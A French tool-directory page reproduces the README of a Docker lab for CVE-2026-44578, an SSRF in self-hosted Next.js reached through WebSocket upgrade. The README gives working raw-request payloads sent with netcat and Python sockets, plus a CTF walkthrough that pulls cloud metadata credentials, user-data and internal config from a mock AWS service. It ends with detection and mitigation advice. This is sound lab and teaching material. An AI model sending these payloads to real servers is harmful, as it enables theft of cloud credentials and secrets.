Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-44578-next-js-ssrf — este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah | Kitploit
Outils/GitHubGitHub/isaca0315/cve-2026-44578-next-js-ssrf
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionSécurité CloudLabs et Pratique
GitHubisaca0315/cve-2026-44578-next-js-ssrf

CVE-2026-44578-next-js-ssrf

este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah

Voir le dépôt
il y a 11h 46mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-44578 — SSRF par mise à niveau WebSocket Next.js (Laboratoire)

Laboratoire autonome pour reproduire la vulnérabilité CVE-2026-44578 (CWE-918, SSRF) dans les applications Next.js auto-hébergées qui utilisent le serveur Node.js intégré.

ChampValeur
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
TypeSSRF (CWE-918)
Versions affectéesNext.js 13.4.13 – 15.5.15 et 16.0.0 – 16.2.4
Versions corrigées15.5.16 et 16.2.5
Authentificationaucune
Interaction utilisateuraucune

Topologie du laboratoire

root@kitploit:~
Attaquant (hôte : 0.0.0.0)
    │  HTTP :3000 (public)
    ▼
┌──────────────────────────┐  même namespace réseau  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ « Nimbus Analytics »     │                           │ (identifiants,      │
│ (serveur Node intégré)   │                           │  user-data, index)  │
└──────────────────────────┘                           └─────────────────────┘
  • nextjs-vuln (port 3000) : l'application vulnérable, exposée sur 0.0.0.0:3000.
  • imds-sidecar : maquette du service de métadonnées AWS qui vit sur localhost:80 à l'intérieur du namespace du conteneur Next.js, modélisant une instance réelle dans le cloud. Il n'est pas accessible depuis l'hôte directement (aucun port publié).
root@kitploit:~
                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatisé (5 sondes)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + routes secrètes
                        └── nextjs-app/             # Application réaliste « Nimbus Analytics »
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnérable)

Pourquoi c'est vulnérable

Le gestionnaire de mise à niveau WebSocket dans router-server.ts appelle proxyRequest() lorsque l'URI analysé possède parsedUrl.protocol, sans vérifier les indicateurs finished et statusCode que le gestionnaire HTTP normal a toujours émis :

root@kitploit:~
  // vulnérable (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // correctif (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Le vecteur d'attaque utilise une ligne de requête avec URI absolue à double barre oblique : GET http:///path. normalizeRepeatedSlashes réduit http:/// à http:/, sans nom d'hôte, et http-proxy se connecte alors à localhost:80 avec le chemin intact :

root@kitploit:~
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

La présence des en-têtes Connection: Upgrade + Upgrade: websocket fait que la requête tombe dans le gestionnaire de mise à niveau vulnérable au lieu du gestionnaire HTTP avec les vérifications de sécurité.

Démarrer le laboratoire

root@kitploit:~
docker compose up -d --build

Vérifier que l'application répond :

root@kitploit:~
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Pour le faire fonctionner sur 0.0.0.0, le mappage de ports dans docker-compose.yml expose déjà 3000:3000 sur toutes les interfaces.

Exploitation manuelle

1. Avec netcat (nc)

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Avec Python pur (stdlib, sans dépendances)

root@kitploit:~
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Avec le PoC automatisé

root@kitploit:~
python3 exploit/exploit.py 127.0.0.1 3000

CTF — capture manuelle du flag final

Flux complet 100 % manuel, en 4 phases. Il y a 4 flags cachés dans le service interne (localhost:80) ; ce guide montre le flux jusqu'au premier et vous laisse les chemins pour trouver les autres.

Phase 1 — Reconnaissance

root@kitploit:~
# Empreinte du serveur
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Ports ouverts via socket (sans nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Il n'y a pas d'accès direct à 127.0.0.1:80 depuis l'attaquant : le seul vecteur est de faire en sorte que le serveur Next.js (qui vit bien sur le même réseau que le service interne) demande à notre place.

Phase 2 — Énumération du service de métadonnées via SSRF

Nous confirmons d'abord le SSRF en interrogeant l'index du service de métadonnées :

root@kitploit:~
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Réponse de l'index → candidats : instance-id, hostname, iam/security-credentials/, user-data (premier flag). L'index de latest/meta-data/ révèle également des sous-clés qu'il convient de continuer à explorer.

Phase 3 — Construction du payload (octet par octet)

root@kitploit:~
GET http:///latest/user-data HTTP/1.1
PartieFonction
GETLa vulnérabilité ne proxifie que GET
http:///latest/user-dataURI absolue. http:/// se réduit à http:/ → nom d'hôte nul → le proxy se connecte à localhost:80 en conservant le chemin /latest/user-data
Host: 127.0.0.1:3000Sinon, le serveur répond 400
Connection: Upgrade + Upgrade: websocketDétournent la requête vers le gestionnaire de mise à niveau vulnérable (le gestionnaire HTTP normal, lui, valide)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==En-têtes minimales exigées dans un handshake légitime

Terminaison : \r\n\r\n sur le socket brut (sans corps).

Phase 4 — Déclenchement manuel et capture du flag

root@kitploit:~
# Option A : netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
root@kitploit:~
# Option B : socket brut en Python (même précision, sans nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Sortie — le premier flag arrive dans le corps de la réponse du service interne :

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14

#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}

Flag 1/4 obtenu. L'en-tête server: BaseHTTP/0.6 ... (maquette Python) confirme que la requête a voyagé Attaquant → Next.js → localhost:80, c'est-à-dire que le flag a été exfiltré depuis le réseau interne par le SSRF. Les 3 autres sont disséminés dans les chemins du service de métadonnées et du service interne — l'index de latest/meta-data/ est votre carte. Trouvez les autres.

Points de terminaison exposés dans le lab

Le faux IMDS (localhost:80) modélise le service de métadonnées réel d'AWS : c'est un arbre navigable. Chaque répertoire (se terminant par /) répond avec l'index de ses sous-chemins ; demander un répertoire sans / renvoie une redirection 301. Il n'y a pas de chemins cachés : aucun flag n'exige de deviner — tout se découvre en naviguant les index.

root@kitploit:~
/  →  latest/
        ├── meta-data/   → ami-id, hostname, iam/, instance-id, instance-type,
        │                   local-hostname, placement/, public-hostname, tags/
        ├── dynamic/     → instance-identity/
        └── user-data    → script de démarrage (signale internal/config)
CheminContenu
latest/meta-data/Index des métadonnées (ligne ci-dessus)
latest/meta-data/iam/security-credentials/Rôle lab-ssrf-role
latest/meta-data/iam/security-credentials/lab-ssrf-roleJSON avec AccessKeyId, SecretAccessKey et Token
latest/user-dataScript de démarrage avec identifiants de base de données
latest/dynamic/instance-identity/documentJSON d'identité d'instance
internal/configConfiguration d'un service interne (BD, clé API) — référencé par user-data

Défi CTF : il y a 4 flags, et chacun est un artefact réel de la chaîne d'exploitation SSRF contre AWS : (1) user-data du démarrage, (2) identifiants IAM, (3) document d'identité, (4) configuration d'un service interne. Leurs valeurs ne sont pas publiées. Naviguez les index (/ → latest/ → …) et suivez de bannière en bannière ; le script user-data vous indique où vit le quatrième. Pas besoin de deviner les chemins : le 404 ne fait que vous trahir en inventant un chemin qui n'existe pas.

Guide de résolution (spoilers progressifs)

Version complète avec la chaîne flag→flag dans son propre document : SOLUCION.md (chaque flag vous donne l'indice du suivant, hors de ce README).

La règle : chaque flag a un indice, un obstacle et la solution. Essayez d'abord avec l'indice ; utilisez l'obstacle quand vous êtes bloqué. Pas de chemins cachés : rien n'est falsifié, tout se navigue.

Deux avertissements avant de commencer :

  1. L'assistant ssrf() est déjà prêt dans SOLUCION.md → Préparation : copiez-le et utilisez-le pour le reste du guide. Il envoie une requête GET http:///<path> avec Connection: Upgrade + Upgrade: websocket.
  2. Les flags voyagent chiffrés en base64. Dans les réponses, vous verrez des blobs RkxBR3… (base64 de FLAG{…}). Déchiffrez-les : echo <blob> | base64 -d.

Flag 1 — user-data (le plus facile)

  • Indice : que renvoie un GET vers /latest/user-data ? C'est la première chose que vérifie tout attaquant sur AWS.
  • Obstacle 1 (index 301) : les dossiers se listent avec / à la fin. ssrf latest/meta-data vous donne 301 Moved Permanently et Location: latest/meta-data/. = « Suis-moi ». Avec nc, pas de suivi automatique : répétez la demande avec la barre oblique.
  • Solution :
root@kitploit:~
ssrf latest/user-data

Dans le corps : le script de démarrage avec DB_PASS=… (Flag 1 est là-dedans), et une ligne curl -s http://internal/config qui est la carte du Flag 4.

Flag 2 — identifiants IAM

  • Indice : naviguez latest/meta-data/iam/security-credentials/ et demandez le rôle qui apparaît.
  • Obstacle 2 (le Token n'est pas du remplissage) : le 200 renvoie un long JSON. AccessKeyId/SecretAccessKey sautent aux yeux ; le Flag 2 n'est pas là : le champ Token est une seule chaîne base64. Déchiffrez-la.
  • Solution :
root@kitploit:~
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role

Flag 3 — document d'identité

  • Indice : latest/meta-data/ n'est pas le seul arbre. Regardez l'index racine : il y a un dynamic/ que presque personne n'ouvre.
  • Obstacle (redirection en chaîne) : dynamic/ → instance-identity/ → document. Ce sont trois marches ; à chacune, votre ssrf doit se terminer par / (sauf document). Les gens se perdent en ne redemandant pas après le 301.
  • Solution :
root@kitploit:~
ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document

Le JSON d'identité inclut une clé FLAG avec le Flag 3 (en base64). Si votre série de commandes a renvoyé 301 à la deuxième marche, retenez la leçon de l'Obstacle 1.

Flag 4 — configuration d'un service interne

  • Indice : le Flag 1 (user-data) avouait l'adresse : curl -s http://internal/config.
  • Obstacle (qu'est-ce que « internal » ?) : depuis l'attaquant, internal ne résout pas. « internal » est un alias côté serveur, pas le vôtre. Vous ne changez pas l'hôte : le SSRF atterrit toujours sur localhost:80 ; vous ne choisissez que le chemin.
  • Solution :
root@kitploit:~
ssrf internal/config

Vérification des 4 (blob base64 → décodé) :

root@kitploit:~
ssrf latest/user-data        | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config         | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo

4/4 flags en main. Si l'un d'eux ne vous donne pas FLAG{...}, vous savez quoi faire : vérifiez le curl de user-data (obstacle du Flag 4) ou le / des index (obstacle du Flag 1).

Utilisation manuelle, par exemple identifiants IAM :

root@kitploit:~
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Résultat attendu — la réponse arrive avec server: BaseHTTP/0.6 Python/3.12.x (la maquette), pas avec la bannière de Next.js, ce qui prouve que la requête a été faite par le serveur vers localhost:80 :

root@kitploit:~
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain

{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}

Résultat du PoC

Le PoC vérifie le SSRF mais censure les flags : les blobs base64 des FLAG{...} et les FLAG{...} en clair s'affichent comme texte censuré. Les valeurs ne s'obtiennent que par exploration manuelle (section CTF ci-dessus).

root@kitploit:~
--- IAM Creds ---
  HTTP/1.0 200 OK
  {"Code": "Success", ..., "Token": "RkxBR3******** (flag chiffré : exploitation manuelle) ***"}

--- User Data ---
  HTTP/1.0 200 OK
  #!/bin/bash
  flag=RkxBR3******** (flag chiffré : exploitation manuelle) ***

Limites de la vulnérabilité

  • GET uniquement (pas de POST/PUT).
  • Port 80 uniquement (le nom d'hôte se perd dans la normalisation de http:///).
  • IMDSv2 non exploitable (exige PUT pour le jeton).
  • Métadonnées GCP non exploitables (rejette Upgrade: websocket avec 400).
  • Hébergé sur Vercel non affecté.
  • Derrière un proxy inverse (nginx/Caddy/HAProxy), les URI absolues sont généralement bloquées.

Vérification du « correctif »

Pour confirmer que le correctif (Next.js ≥ 15.5.16) bloque l'attaque, changez la version dans nextjs-app/package.json en 15.5.16, reconstruisez et ré-exécutez le même payload : la connexion se ferme sans renvoyer de données.

Détection

Signatures dans les journaux du processus Next.js :

  • Failed to proxy http:/ — le proxy s'est déclenché mais la destination était inaccessible.
  • Requêtes dont la ligne de requête contient une URI absolue avec http: accompagnée d'en-têtes Connection: Upgrade / Upgrade: websocket.

Atténuation

  • Mettre à jour vers 15.5.16 / 16.2.5 ou ultérieur.
  • Si la mise à jour est impossible : bloquer les mises à niveau WebSocket dans le proxy inverse et appliquer IMDSv2 (HttpTokens=required) sur AWS.
  • Exemple nginx pour rejeter les URI absolues :
root@kitploit:~
if ($request_uri ~* "^https?://") { return 400; }

Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-44578
  • GHSA : https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Commit du correctif : https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8
Télécharger l’outil